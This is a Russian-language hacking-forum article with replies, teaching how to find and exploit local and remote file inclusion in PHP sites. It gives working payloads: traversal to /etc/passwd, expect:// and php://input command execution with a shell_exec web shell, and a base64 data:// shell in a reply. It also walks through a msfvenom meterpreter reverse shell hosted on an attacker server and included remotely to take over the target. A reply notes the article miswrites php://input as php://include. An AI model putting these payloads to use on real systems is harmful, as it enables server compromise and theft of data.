• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья LFI/RFI – Старые, но живые!

Urob0ros

HDD-drive
Пользователь
Регистрация
26.09.2020
Сообщения
40
Реакции
251
Введение:
Всех приветствую! Новогодние праздники подошли к концу, а значит самое время помаленьку приходить в себя и возвращаться к делам насущным. Сильно грузится сейчас не хочется, поэтому, предлагаю предлагаю поговорить о таких двух уязвимостях как LFI (local file inclusion) и RFI (remote file inclusion). Сами по себе уязвимости достаточно старые, простые и по сути уже боевая классика, но, не смотря на это, до сих пор встречаются чаще, чем по хорошему должны бы. Уязвимости похожи между собой, но при этом кардинально отличаются по способу эксплуатации и профитом от успешной атаки. Особенно этими багами болеют сайты, которые делали новички с небольшим опытом в сфере, а так же плагины для вордпресса да и в целом для многих CMS. При всем при этом, уязвимости достаточно простые, что в понимании, что в эксплуатации. Сильно грузить как в прошлой статье никого не буду, постараюсь максимально просто и понятно все донести ) Погнали!

LFI
Теория и поиск:


Начнем с Локального включения файлов. Наверняка все видели на сайтах такую механику, как подключение файлов в URL. То есть что-то такое:

https://example.com/index.php?page=page1

Таким образом разработчики подключают разный динамический контент, скажем, содержимое записи в блоге, которое хранится отдельным кодом, язык страницы и т.д. Важно то, что таким образом происходит подключение на страницу различных файлов, название которых как правило передается в запросе к серверу. И, если разработчик допустит ошибку и просто не подумает о том, что таким образом можно подключить файл, который изначально не задумывался, элементарно подменив запрос, то мы сможем использовать это в своих целях.

Посмотрим на вот такой пример:
1611317773400.png

Мы видим перед собой обычную страницу, на которой имеется меню для перехода по разделам. При нажатии на кнопку, на бэкенд отправляется get-запрос (?page=page1.html), в котором передается название страницы, которую нужно подключить. Что там под капотом рассмотрим чуть позже, сначала посмотрим как можно выяснить что перед нами уязвимая страница. Смотрим в URL, видим что в GET запросе, в параметре page передается название подключаемой страницы.

Первое, что стоит сделать – поменять название подключаемого файла на что-нибудь бредовое и несуществующее, чтобы вызвать ошибку в программе. В редких случаях, если php настроен на этап разработки, может отобразится ошибка о подключении. Это позволит не тыкаться вслепую и понимать какой именно кусок кода мы атакуем. Однако, такое бывает крайне редко и будет говорить о том, что если разработчик не позаботился даже о выводе ошибок, то скорее всего с дальнейшей раскруткой проблем не возникнет. Но, скорее всего, мы либо вообще не увидим изменений, либо получим просто пустой блок, в том месте, в котором должен быть контент:
1611317846200.png

Эксплуатация:

Далее можно сразу попытаться попробовать полезную нагрузку. В параметр page пробуем подставить следующий путь:

/../../../../../etc/passwd

где символ ../ - это переход на одну директорию назад. Как правило сайты хранят в директории /var/www/project_name, однако в зависимости от настроек сервера и ОС эта директория может отличаться. В любом случае, как правило, даже если указать больше переходов на одну директорию назад, чем надо, нагрузка все равно сработает. Поэтому, слишком много переходов – не критично, а вот слишком мало – плохо, тут может и “не достать”.

А /etc/passwd – для тех кто не в курсе, это файл в ОС семейства линукс, в котором хранится список пользователей в данной системе. Эта информация является одной из самых чувствительных в системе, плюс по усполчанию этот файл доступен любому пользователю, поэтому именно его в первую очередь обычно пытаюьтся просмотреть. Информацию из этого файла можно использовать для брутфорса учетных записей пользователей например по SSH или RDP протоколам, для СИ атак, да и в целом много для чего еще.

В итоге мы увидим следующую картину:
1611317912300.png

Локальное включение файлов – скорее дополнительная уязвимость, чем способ реально атаковать сервер. Она может помочь собрать очень много ценной инфы, однако сама по себе служить для атаки она не может. При ее помощи можно просмотреть файлы на сервере, к которым настроен доступ у демона веб-сервера, можно заюзать в паре например с уязвимостью загрузки файлов, для того чтобы активировать уже залитый шелл, однако сама по себе уязвимость мало что может дать. В отличие от удаленного включения файлов. Но об этом чуть позже.

Дополнительные векторы атаки через модули языка.
Саму по себе уязвимость Local File Inclusion нельзя использовать для атаки непосредственно на сервер – это правило. Но есть исключения, и это - модули языка. В некоторых случаях имеют место атаки, которые ставновятся возможны в том случае, если разработчик проводил какие-либо манипуляции с настройками модулей языка, что позволяет интерпретатору реализовывать “фишки”, которые по дефолту не доступны. Почти все эти функции языка по дефолту выключены, однако, если разработчик при разворачивании сайта шаманил с конфигурацией php.ini (фиксил что-то прямо на проде, реализовывал какие-то фичи, для которых требовались эти модули и т.д.) или подключал дополнительные модули через тот же PECL (хранилище расширений для php), то это может здорово сыграть на руку атакующему. Примеры некоторых таких модулей и результата их совместной работы с LFI я и приведу ниже:

Установка модулей:
Если кто захочет поэкспериментировать:

Установка модулей для php на linux-системах производится следующим образом:

Сначала нам потребуется установить пакет php-pear, который отвечает за работу с расширениями и хранилищем PECL:

sudo apt install php-pear

Так же, потребуется phpize, который является частью пакета php-dev

sudo apt install php-dev

После этого можно ставить модули через команду PECL

sudo pecl install <имя_модуля>

Программа сама все скачает, распакует, скомпилирует и установит. Однако, от себя хочу заметить что программа нередко бывает нестабильна и может выпендриваться на разные зависимости да и в целом “тупить”, и в итоге косяки приходится править вручную. Поэтому, внимательно читайте сообщения об ошибках, если всетаки рискнули попробовать поставить и таковые вылезли.

С виндой все проще, там есть готовые DLL, которые можно просто скачать, закинуть в определенную папку и подключить в файле php.ini.

Expect
Эта обертка изначально позволяет работать с процессами stdio, stdout и подобными, но по умолчанию выключена и будет работать только в том случае, если разработчик ее скачал и скомпилировал, а такое бывает достаточно редко. Но тем не менее, если вам крупно повезет, она позволит раскрутить LFI до RCE (remote code execution или удаленное выполнение кода), т.е. позволит выполнять команды на сервере. Вот стандартный пэйлоад для приложения, в котором включена эта обертка:
lfi.php?file=expect://ls
Где "ls" может быть заменена на любую команду.
Думаю, тут ничего обьяснять не надо – просто указываем команду по шаблону и получаем RCE.


php://include
А вот это уже более интересная обертка. Она возвращает необработанные данные в заголовке запроса в исходном виде. Но в целом нам не столько важно что делает сама обертка, как то, что при связке с LFI ее можно использовать для выполнения комманд на сервере, причем эта обертка в отличие от предыдущей включена по умолчанию и работает почти из коробки! Для того, чтобы работал этот вектор, достаточно того, чтобы в php.ini – конфигурационом файле php, был включен параметр allow_url_include. Этот же параметр делает возможным и RFI, но об этом позже.

Попробуем добиться RCE при помощи этой обертки:
Вся суть этого вектора в том, что мы формируем специальный http-запрос, который содержит полезную нагрузку, а обертка способствует выполнению этой нагрузки. Для начала нужно сформировать запрос к уязвимой странице и в подключаемом файле указать: php://input
Для перехвата запроса я буду использовать burpsuite. Перехватываем запрос до того, как он дошел до сервера и добавляем в него новой строчкой полезную нагрузку в виде php кода (11 строка):
PHP:
<?php echo shell_exec($_GET['command']); ?>
1611318400700.png

И обратите внимание на первую строку – в GET запрос добавляем еще один параметр – command, значение которого добавляется в shell_exec, который всвою очередь выполняет команду, содержащуюся в переменной command. Таким образом мы отправляем команду ls на сервер, которая в дальнейшем будет встроена в нашу полезную нагрузку в 11 строке, которая в свою очередь уже встроится в код атакуемой страницы.
Отправляем запрос и получаем результат выполнения команды:
1611318536500.png

Таким образом мы раскрутили уязвимость от обычной LFI до полноценного RCE и все это при помощи дефолтных фишек языка.

Под капотом:
Понимаю что теория в стиле “белой коробки” мало кому интересна, однако, я считаю что это необходимо знать, хотябы потому, что как я упомянул ранее, уязвимости часто встречаются в плагинах CMS-ок и тд, а поиск внутри таких кейсов происходит именно в белой коробке. Поэтому, предлагаю разобрать какой вообще логикой мог руководствоваться разработчик в данном случае (Дело в том, что примерно с таким кейсом, хоть я и сильно упростил пример, мне приходилось сталкиваться на практике). Смотрим под капот:

PHP:
<?php

$page = $_REQUEST['page'];

include 'head.html';

if (isset($page)==false){

    $page='index.html';

    include "$page";

}else{

     include($page);
}

?>

Так как имелась одна небольшая страница с шапкой и некоторыми другими информационными блоками, разработчик решил что нет смысла писать разные страницы под каждый блок отдельно, дублируя код, и решил что неплохой идеей будет просто написать код для разных блоков и подключать их к основному. Как итог - и на отдельные страницы пересылать не надо пользователя, и разделение бизнес-логики и представления какое-никакое присутствует. И казалось бы, идея была хорошей, да реализация подкачала. В коде мы видим что два раза используется функция include. Это функция php, которая позволяет подключать различные файлы на страницу, как обычные html, так и скрипты. В первый раз статично подключается шапка и это в целом нормальный ход для разделения php-скрипта с версткой, дабы не делать мешанину из кода. Проблема кроется во втором использовании include, вот здесь.
PHP:
}else{
    include($page);
}
Здесь и подключается то самое название файла из запроса, которые мы подменяли по ходу эксплуатации. Здесь же и нарушается то самое первое правило безопасности кода – никогда не доверять пользовательскому вводу. Хоть нарушается оно и косвенно, так как запрос всетаки зависит от кнопок, но тем не менее, эта информация может быть спокойно изменена на стороне пользователя, и переквалификация в, например, post-запрос здесь не спасет. Поэтому, если тестируете из белой коробки, обязательно тщательно проверяйте места, где используется метод include, особенно если он как-то связан с переменными, переданными со стороны пользователя.


RFI
Теория


Теперь же рассмотрим более серьезную уязвимость, которая возникает по той же причине – контроль пользователем подключемых файлов.
Код для примера подойдет тот же самый, но для того чтобы эта атака стала возможной, разработчик должен провести небольшие манипуляции с файлом php.ini, который в линукс-системах находится по адресу: /etc/php/7.4(версия языка)/apache2(веб-сервер, если используете, например, nginx, то там будет nginx)/php.ini Это конфигурационный файл для php, в котором производятся основные настройки модулей языка. В нашем случае, нужны два модуля: allow_url_fopen и allow_url_include. Оба модуля должны быть включены. Первый включен по умолчанию, а вот второй выключен, как раз из соображений безопасности, так как он позволяет при помощи уже известной нам функции include подключать документы со сторонних сайтов через HTTP протокол. Переводим второй модуль в положение “On” и перезапускаем веб-сервер:
1611318993000.png

Я использую apache, поэтому команда перезапуска будет такой:

sudo service apache2 restart

Если используете nginx, то просто замените apache2 на nginx.
Теперь попробуем подключить сюда, например, главную страницу гугла. Вбиваем в URL, в параметр file, значение которого передается в функцию include, следующее:

https://www.google.com/index.html

То есть, указываем протокол (http/htpps), доменное имя и имя подключаемого файла (его указывать не обязательно, так как веб-сервера при обращенни просто к их доменному имени по умолчанию отображают файл с названием index.*) Как итог, видим следующее:
1611319266300.png

У нас слетели стили, но мы видим что страница успешно подключена.

Эксплуатация

Что нам дает возможность подключать файлы на страницу ? Ну, во первых, если мы откроем исходный код, то увидим что скрипты, которые находились на странице, точно так же подключены:
1611320660200.png

А это, в свою очередь, уже означает что один из векторов – отраженый XSS. Если мы так же подключим страницу с каким-либо простым скриптом, то увидим, что он был выполнен:
1611319408100.png

Таким образом, один из способов использовать RFI – это reflected xss. Атака на пользователей через скирпты, подгруженые со стороннего сервера.

Но есть более интересный способ – атаковать уже само веб-приложение и как итог получить контроль над сервером. Некоторые наверное уже догадались, что раз мы можем подключать файлы к серверу, то мы можем подключить вредоносный php-файл, который будет содержать например reverse-shell. Давайте попробуем это и провернуть.
Для начала нам потребуется сам шелл. Его можно взять готовый с, например, гитхаба, написать самому, либо, что я и предлагаю сделать, сгенерировать при помощи msfveonoma и получить сессию для metasploit. Для начала просто сгенерируем reverse-shell при помощи команды:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<host_ip> LPORT=<host_port> R > shell.php
Здесь все просто – указываем какую полезную нагрузку мы хотим использовать, указываем порт и айпишник сервера, на который будет идти соединение и через параметр R > указываем файл, в который будет записан результат. После этого в активной директории у нас появится файл shell.php, который и будет являтся вредоносным кодом, устанавливающим обратное соединение на наш сервер.
После этого запускаем метасплоит командой “msfconsole” на машине, на которую мы будем принимать соединение:
1611319472700.png

После того, как увидели приветствие в виде “msf6 >”, выбираем “exploit/multi/handler” в качестве эксплойта. Для тех кто не знает – это просто “прослушка” внутри metasploit, которая нужна чтобы принимать соединения с активированных пэйлоадов:

use exploit/multi/handler

Выбираем тот же пэйлоад, который выбирали при генерации шелла веномом:

set payload php/meterpreter/reverse_tcp

Ну и устанавливаем параметры LHOST и LPORT на те, что ставили при генерации шелла:

set LHOST <host_ip>
set LPORT <host_port>

Установленые настройки можно посмотреть командой “show options”
1611319536200.png

Дальше просто запускаем прослушку командой exploit или run:
1611319602000.png

Прекрасно, прослушка стоит и ждет подключений.

Далее, нужно залить шел на подконтрольный нам веб-сервер, чтобы к нему можно было получить доступ по http-протоколу. В моем случае наружу торчит папка /var/www/files Ну а далее начинается самое интересное. Попробуем сразу подключить шелл к уязвимому приложению и посмотрим результат:
1611319631600.png

Вроде как ловим соединение:
1611319667400.png

Однако, если разобраться, то мы получаем соединение с нашего же сервера, на котором и размещали шелл, то есть, технически, мы взломали сами себя XD. Это подтвердит и айпишник с портом, и содержимое директории в которой мы находимся:
1611319697900.png

Как же так получилось ? Мануалов в сети по RFI достаточно много, однако об этой маленькой детали большинство умалчивают. А проблема в том, что файл, который мы подключили, изначально выполняется на сервере, на котором он расположен, а серверу, который его подключил, отправляется лишь результат работы скрипта, то есть, в нашем случае – ничего. Так как в таком случае сделать так, чтобы файл выполнялся на сервере, к которому он подключается, а не к тому, на котором он расположен ? Есть два фокуса, которые могут помочь это сделать, и, как не странно, они очень просты:

Первый способ:

Первый – поменять расширение шелла с php на txt. Да, все настолько просто. Меняем расширение на и снова подключаем файл. Несмотря на расширение текстового файла, если содержимое файла содержит php-код, то он будет выполнен, но уже не на хостовом сервере, а на том, к которому файл будет подключен.

Меняем расширение шелла на txt и подключаем его:
1611319742700.png

И вот результат:
1611319795100.png

Теперь мы видим правильное соединение. Профит, сервер взломан.

Второй способ:

Второй способ может показаться странным, но он имеет место быть в тех случаях, когда расширение подключаемого файла может быть только php (например расширение жестко вбито в код). Чтобы правильно проэксплутаировать этот кейс, следует сделать следующее:
Здесь мы сделаем эдакую “обертку кода” в самого себя. То есть, для начала, абсолютно весь код обернем в переменную типа string при помощи одинарных кавычек (если обернуть код в двойные кавычки, в php интерпретатор будет искать внутри строки переменные для подстановки значений и это может вызвать проблемы)
То есть, что-то такое:
PHP:
<?php

    $code =<?php php-code ?>’

    print($code);

?>

И после этого просто выводим строчную переменную, которую мы создали на страницу. Таким образом мы получим то же скамое, что и с файлом в формате txt, но теперь уже в формате php, т.е. код статично будет выводится на страницу, но при подключении его к стороннему серверу код будет выполнен именно на стороннем сервере. Надеюсь, логика понятна.
!Так же, если в коде уже присутствуют кавычки, чтобы избежать путаницы, кавычки нужно либо экранировать при помощи символа ‘\’, либо, что более предпочтительно - обрамлять переменную в heredoc строку вот таким образом:
PHP:
$ code = <<<’code_string’

<?php

*php-code*

?>

‘code_string’;
Таким образом происходит экранирование всех символов внутри строки и они не считываются как часть кода. Обратите внимание, что символы начала и конца heredoc-строки должны находится на отдельных от самой переменной строках. После этого файл можно спокойно подключать.

Заключение

Ну, собственно, теперь вы знаете как искать и эксплуатировать включение файлов, как локальное так и удаленное, поздравляю )

Обе уязвимости хоть и достаточно старые и с виду простые, но там далеко все не так просто, если разобраться. Казалось бы, они давно должны были себя изжить и кануть в небытие, но нет – встречаются до сих пор, и чаще, чем должны бы. Причина как правило низкая грамотность разработчиков в вопросах безопасности кода и банальное желание напилить побыстрее костыль. Встречаются такие баги нередко в разных расширениях и плагинах для движков сайтов, потому что такое ПО как правило имеет структуру “конструктора” и собирается из разных модулей, подключаемых друг к другу.

Ну а я на этом тему с включением файлов закрываю, всем удачи и добра !


© Urob0ros, специально для форума xss.pro
 
Очередной сферический конь в вакууме - allow_url_include включен и в коде include $_REQUEST['page']. Покажите пальцем где такое существует.

И ещё - не php://include, а php://input - то есть данные приходящие в body у http post запроса.

С загрузкой шела прям беда, скрипт оказывается выполнился на собственном сервере.

Допустим allow_url_include включен.

Если мы решили отдавать shell по http, то понадобится сервак с реальным IP и шел надо будет одавать так: echo file_get_contents("shell.php");.

В данном случае shell выгодней отдавать через wrapper data://

Итог: Автор в теме слаб, к реальности инфа слабо пременима.

Рекомендую ознакомиться с Supported Protocols and Wrappers
 
Other php wrappers that can be used are

base64 and rot 13
- php://filter/read=string.rot13/resource=
- php://filter/convert.base64-encode/resource=

zlib (compression)
- php://filter/zlib.deflate/convert.base64-encode/resource=

Zip
- zip://

Data
- data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=


and more ;)
 
Очередной сферический конь в вакууме - allow_url_include включен и в коде include $_REQUEST['page']. Покажите пальцем где такое существует.

И ещё - не php://include, а php://input - то есть данные приходящие в body у http post запроса.

С загрузкой шела прям беда, скрипт оказывается выполнился на собственном сервере.

Допустим allow_url_include включен.

Если мы решили отдавать shell по http, то понадобится сервак с реальным IP и шел надо будет одавать так: echo file_get_contents("shell.php");.

В данном случае shell выгодней отдавать через wrapper data://

Итог: Автор в теме слаб, к реальности инфа слабо пременима.

Рекомендую ознакомиться с Supported Protocols and Wrappers
Мне вот статья показалась показательной, сам я только учусь....и про технические моменты судить не могу.
Если ты силён в этом, сделай пользу для форума - напиши статью.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх